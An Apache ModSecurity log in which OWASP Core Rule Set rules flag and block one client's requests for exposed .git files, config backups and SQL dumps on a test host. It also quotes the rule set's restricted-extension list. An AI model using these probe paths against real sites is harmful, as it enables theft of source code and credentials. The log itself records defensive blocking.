[Sun Jun 29 20:13:35.598955 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1QAAAAs&quot;]
[Sun Jun 29 20:13:35.599198 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1QAAAAs&quot;]
[Sun Jun 29 20:13:35.599389 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1QAAAAs&quot;]
[Sun Jun 29 20:13:35.621274 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1gAAAAs&quot;]
[Sun Jun 29 20:13:35.621521 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1gAAAAs&quot;]
[Sun Jun 29 20:13:35.621746 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1gAAAAs&quot;]
[Sun Jun 29 20:13:35.643639 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1wAAAAs&quot;]
[Sun Jun 29 20:13:35.643886 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1wAAAAs&quot;]
[Sun Jun 29 20:13:35.644071 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1wAAAAs&quot;]
[Sun Jun 29 20:13:35.665913 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2AAAAAs&quot;]
[Sun Jun 29 20:13:35.666070 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2AAAAAs&quot;]
[Sun Jun 29 20:13:35.666308 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2AAAAAs&quot;]
[Sun Jun 29 20:13:35.666516 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2AAAAAs&quot;]
[Sun Jun 29 20:13:35.688424 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2QAAAAs&quot;]
[Sun Jun 29 20:13:35.688580 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2QAAAAs&quot;]
[Sun Jun 29 20:13:35.688798 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2QAAAAs&quot;]
[Sun Jun 29 20:13:35.688973 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2QAAAAs&quot;]
[Sun Jun 29 20:13:35.710993 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2gAAAAs&quot;]
[Sun Jun 29 20:13:35.711232 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2gAAAAs&quot;]
[Sun Jun 29 20:13:35.711415 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2gAAAAs&quot;]
[Sun Jun 29 20:13:35.733325 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2wAAAAs&quot;]
[Sun Jun 29 20:13:35.733475 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/db.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2wAAAAs&quot;]
[Sun Jun 29 20:13:35.733714 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2wAAAAs&quot;]
[Sun Jun 29 20:13:35.733927 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U2wAAAAs&quot;]
[Sun Jun 29 20:13:35.755875 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3AAAAAs&quot;]
[Sun Jun 29 20:13:35.756121 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3AAAAAs&quot;]
[Sun Jun 29 20:13:35.756305 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3AAAAAs&quot;]
[Sun Jun 29 20:13:35.778200 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3QAAAAs&quot;]
[Sun Jun 29 20:13:35.778402 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/dump.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3QAAAAs&quot;]
